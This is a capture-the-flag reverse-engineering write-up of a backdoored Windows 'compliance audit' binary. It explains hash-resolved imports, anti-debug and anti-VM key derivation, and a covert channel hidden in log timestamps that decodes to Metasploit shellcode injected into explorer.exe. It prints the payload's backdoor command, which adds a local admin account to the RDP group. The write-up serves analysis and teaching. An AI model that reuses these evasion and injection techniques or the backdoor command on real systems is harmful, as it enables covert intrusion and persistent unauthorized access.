CorpSyncAudit

Event: Cyber Apocalypse 2026 **Category:** Reversing **Files:** `CorpSyncAudit.exe`, `logs/`

Flag: `HTB{d473_71m3_4nd_64ckd00r5}`

---

1. Challenge

> *Damas Marrowcairn paid one contractor to slip something extra into the compliance-audit software every organization was forced to install. "Somewhere in that binary, past the imports it doesn't want you to find, is a parsing path that was never meant to run during a normal audit, and a log file crafted to wake it up."*

Two hints are handed to us in the prose, and both turn out to be literal:

- **"past the imports it doesn't want you to find"** — the interesting Win32 calls are not in the import table; they are resolved at runtime by hash.
- **"a log file crafted to wake it up"** — one of the supplied logs is the trigger.

2. Triage

`CorpSyncAudit.exe` is a 64-bit MinGW/g++ Windows GUI application, stripped:

```
PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
```

The import table is mostly the expected GUI/CRT surface, but two entries stand out:

Import	Why it matters
`WS2_32.dll` (`socket`, `connect`, `send`, `recv`)	networking in an "audit report" tool
`KERNEL32!LoadLibraryA` / `GetProcAddress`, `GlobalFindAtomA`, `K32GetProcessMemoryInfo`, `VirtualProtect`	dynamic resolution + anti-analysis scaffolding

Notably **absent** are `OpenProcess`, `VirtualAllocEx`, `WriteProcessMemory` and `CreateRemoteThread` — exactly the set you would need for process injection, and exactly the set the story says we won't find. They are resolved by hash instead (§5).

The odd log

The `logs/` directory holds 34 files. Thirty-three are ~940 bytes and share a header; one does not:

```
-rw-r--r--   11984  sync_20260412_192364.log      <-- 13x larger
```

Its header differs (`--- START REPLICATION SESSION: 2026-05-21T15:06:54.187353 ---` rather than `LIVE_SYNC`), the timestamp `192364` is not a valid time, and its records carry wild dates and an unusual variety of `Region=` values:

```
[LIVE] NODE=AD-BK-01 STATUS=ONLINE LATENCY=14.62ms USN=619542
Sunday, 16/09/1997 01:25:34 AM UTC | Region=WORLD
[LIVE] NODE=AD-BK-02 STATUS=ONLINE LATENCY=4.64ms USN=680203
Tuesday, 01/02/2028 00:20:40 AM UTC | Region=WORLD
...
Monday, 05/07/2042 23:32:53 PM GMT | Region=WORLD      <-- GMT, not UTC
```

The benign logs only ever use `HEADQUARTERS`, `BRANCH_OFFICE_A`, `BRANCH_OFFICE_B` and always `UTC`. This is the crafted file.

3. Static analysis setup

Ghidra headless gives us all 405 functions:

```
analyzeHeadless /tmp/proj CSA -import CorpSyncAudit.exe \
    -postScript DecompAll.java -scriptPath ~/ghscripts
```

Almost every string is obfuscated, but three survive in `.rdata` and immediately point at the interesting code:

```
0x14001d788  "%63[^,], %d/%d/%d %d:%d:%d %15s %15s"
0x14001d7cf  "127.0.0.1"
0x14001ad50  "0123456789abcdef"
```

That `sscanf` format is the parser for the *date* line — i.e. the covert channel lives in the timestamps, not in the `[LIVE]` records.

3.1 String obfuscation

Every literal is built by `sub_1400016c0(dst, src, len)`, a 4-byte repeating XOR:

```
key[4] = { 0x9F, 0x50, 0x66, 0x20 };
for (i = 0; i < len - 1; i++)          // len includes the NUL
    dst.push_back(key[i & 3] ^ src[i]);
```

Decrypting the referenced blobs:

VA	Plaintext
`0x14001d278`	`Region=`
`0x14001d280`	`[LIVE]`
`0x14001d240`	`C:\hyberfile.sys`
`0x14001d251`	`atomm`
`0x14001d257`	`GMT`
`0x14001d1e8`	`explorer.exe`
`0x14001d598…`	`Sunday`, `Monday`, … `Saturday`
`0x14001d460`	`>> Initiating Multi-Master Replication Convergence Audit...`
`0x14001d2a0`	`--- CONVERGENCE REPORT ---\r\nAnalyzed Nodes: %d\r\nStatus: SYNCHRONIZED`

`explorer.exe` next to a decrypted-payload buffer is the giveaway.

3.2 The hash function

`sub_140001775` is FNV-1a(64) with an extra `ror 13` per byte, an ASCII `tolower → toupper` fold, and a MurmurHash3 `fmix64` finalizer:

```
h = 0xCBF29CE484222325;
for each byte c:
    if ('a' <= c <= 'z') c -= 0x20;
    h = ror64((h ^ c) * 0x100000001B3, 13);
// fmix64
u = (h ^ h>>33) * 0xFF51AFD7ED558CCD;
u = (u ^ u>>33) * 0xC4CEB9FE1A85EC53;
return u ^ u>>33;
```

It is used for **two** different purposes: mapping region names to symbols, and resolving hidden imports.

4. The hidden parsing path — `sub_140003827`

This is the log reader. Per line:

1. `find("Region=")`. If absent, the line only bumps the "Analyzed Nodes" counter (when it contains `[LIVE]`) — this is the benign audit path.
2. Otherwise the region name is hashed and looked up in a **32-entry table** at `0x14001d680`. A miss also falls back to the benign path — which is why the innocuous logs (`HEADQUARTERS`, `BRANCH_OFFICE_*`) never trigger anything.
3. A hit yields an index `0..31`, i.e. **5 bits of control data per record**.
4. The line is parsed with `sscanf("%63[^,], %d/%d/%d %d:%d:%d %15s %15s")` into:

```
struct rec {              // offsets confirmed against the decompilation
  char weekday[12];       // 0x00
  int  hour, minute, sec; // 0x0c, 0x10, 0x14
  int  day, month, year;  // 0x18, 0x1c, 0x20
  char bits[6];           // 0x24  <- the 5 region bits as '0'/'1', NUL at 0x29
  char ampm[4];           // 0x2c  <- parsed, never used (decoy)
  char tz[16];            // 0x30  <- "UTC" / "GMT"
};
```

Note the `AM` / `PM` field is pure decoy; only the **timezone** matters.

1. `sub_140003215` repacks the record into 4 bytes, and each byte is XORed with a global key before being appended to a `std::vector<unsigned char>`.

4.1 `sub_140003215` — the payload codec

```
mask = weekday_index(weekday) + 1;            // sub_140002f53 -> 1..7

if (!strcmp(tz, "GMT")) {                     // sub_14000314a
    old_min = minute;
    v       = ((minute + hour) - sec) / 2;
    hour    = hour - v;
    minute  = v;
    sec     = old_min - v;
}

if (bits[0]) hour   ^= 12;                    // sub_140003117
if (bits[1]) minute ^= 30;
if (bits[2]) sec    ^= 30;
if (bits[3]) day    ^= 16;
if (bits[4]) month  ^= 6;

val = hour<<27 | minute<<21 | sec<<15 | day<<10 | month<<6 | (year - 1990);
```

```
out[0..3] = big_endian(val) ^ mask;          // then ^ global key
```

So each log record smuggles **32 bits**: the timestamp fields are packed into a dword, the region name selects five XOR toggles that make the resulting dates look random, `GMT` shuffles the time triple, and the weekday supplies a final byte mask. Fully reversible.

5. The XOR key — an anti-analysis gate

The global key comes from `sub_140001a5a`, which XORs five environment probes together:

Term	Source	Clean-host value
`[0x00]`	`sub_140001a3a` reads the **first byte of the parser itself** (`rip+0x1dde` → `0x140003827`)	`0x55` (`push rbp`) — `0xCC` if a software breakpoint is set
`[0x04]`	`GetLastError()` after `CreateFileA("C:\hyberfile.sys")`	`2` (`ERROR_FILE_NOT_FOUND`)
`[0x08]`	`SIDT` limit, low 16 bits	`0x0FFF` on native Windows x64 — differs under most hypervisors (**Red Pill**)
`[0x0c]`	`(GetTickCount delta) >> 10` across two junk loops	`0` if the loops finish in under ~1 s
`[0x10]`	Deterministic accumulator over `0x4F672` + `0x2B157` iterations, with `^= 0x424A` at `i == 0x2B44`	`0xF07EC90C`

```
0x55 ^ 0x02 ^ 0x0FFF ^ 0x00 ^ 0xF07EC90C = 0xF07EC6A4
```

A breakpoint on the parser, a VM with a different IDT limit, or a single-stepped/slow run each corrupt the key and the payload decodes to garbage — the malware silently degrades instead of failing loudly.

We do not have to trust that reconstruction, because the same constant `0xF07EC6A4` is passed as the **salt** to the import-resolver, and appears as an immediate in the decompilation of `sub_140001a5a`. It is also confirmed twice over by the plaintext (§6).

5.1 Hash-resolved imports

`sub_14000185f(hash, salt)` walks the PEB loader list and each module's export table, hashing every exported name with the §3.2 function and comparing against `hash ^ salt`. With `salt = 0xF07EC6A4` everything resolves:

Hash	API
`0xFCB63F6C8BFBD444`	`OpenProcess`
`0x9B8D379698A0E539`	`VirtualAllocEx`
`0x09A59E767715229B`	`WriteProcessMemory`
`0xEA358B4EACEF0FD5`	`VirtualProtectEx`
`0xE2D88D6A12E875CF`	`CreateRemoteThread`
`0x0BFC5F669FA5433D`	`CreateToolhelp32Snapshot`
`0x1CFA292ED331480D`	`Process32First`
`0x179CABDF12809B54`	`Process32Next`
`0xD25754C53431C4B8`	`VirtualFreeEx`
`0x5BE7B941307091DC`	`CreateJobObjectA`
`0x5A497CEE8CA842AE`	`AssignProcessToJobObject`
`0x1D4481B9F31B0F34`	`SetInformationJobObject`
`0x97FDB6665E097DAF`	`GetCurrentProcess`
`0x5E964DF87AEDBF27`	`GetCurrentProcessId`

That the entire injection chain resolves to real, coherent API names under this salt is independent proof the key is correct.

`sub_14000340b` then does textbook process injection: snapshot processes, `_stricmp` against `explorer.exe`, `OpenProcess(0x1FFFFF)`, `VirtualAllocEx(…, PAGE_READWRITE)`, `WriteProcessMemory(payload)`, `VirtualProtectEx(…, PAGE_EXECUTE_READ)`, `CreateRemoteThread`.

6. Decoding

Reimplementing the codec over `sync_20260412_192364.log` yields 99 records × 4 bytes = **396 bytes**. XORing with `0xF07EC6A4`:

```
fc 48 83 e4 f0 e8 c0 00 00 00 41 51 41 50 52 51 ...
```

`fc 48 83 e4 f0` is `cld ; and rsp, -0x10` — the canonical Metasploit x64 `block_api` prologue. Disassembly confirms the standard ROR-13 PEB-walk stub calling `WinExec` (`0x876F8B31`) then `ExitProcess` (`0x9DBD95A6`), i.e. `windows/x64/exec`. The command string sits at offset `0x10B`:

```
net user backup_admin SFRCe2Q0NzNfNzFtM180bmRfNjRja2QwMHI1fQ== /add
  && net localgroup "Remote Desktop Users" backup_admin /add
```

The "door into every machine that ever passed the test": a local account added to the RDP group. The password is base64:

```
$ base64 -d <<< 'SFRCe2Q0NzNfNzFtM180bmRfNjRja2QwMHI1fQ=='
HTB{d473_71m3_4nd_64ckd00r5}
```

7. Flag

```
HTB{d473_71m3_4nd_64ckd00r5}
```

The leetspeak reads *"date, time and backdoors"* — a nod to the timestamp covert channel.

Appendix A — Reproducing

```
python3 solve.py ../logs/sync_20260412_192364.log
```

```
[+] recovered 396 bytes of shellcode
[+] prologue matches msf x64 block_api stub
[+] command: net user backup_admin SFRCe2Q0NzNfNzFtM180bmRfNjRja2QwMHI1fQ== /add && net localgroup "R
[+] flag: HTB{d473_71m3_4nd_64ckd00r5}
```

`shellcode.bin` in this directory is the recovered 396-byte payload.

Appendix B — Notes and dead ends

- **`127.0.0.1:4445`** (`sub_140005d2f`) sends `SYNC_TEST\n` and waits for a line. It is a visible GUI "remote sync test" button, unrelated to the backdoor — a decoy for the `WS2_32` imports.
- **`sub_140001f3e`** creates a job object and applies a `ProcessMemoryLimit` (`JobObjectExtendedLimitInformation` , class 9) sized from the current working set — an anti-sandbox measure that runs just before injection.
- **`GlobalFindAtomA("atomm")`** in a 176 471-iteration loop is pure timing padding feeding the `GetTickCount` term of the key.
- The `AM` / `PM` field and the `[LIVE] NODE=… LATENCY=… USN=…` lines carry **no** data; only the weekday, the numeric date/time, the timezone, and the region name do.
- The remote endpoint `154.57.164.68:32249` is a file-drop for the artifacts; nothing needs to be solved over the network.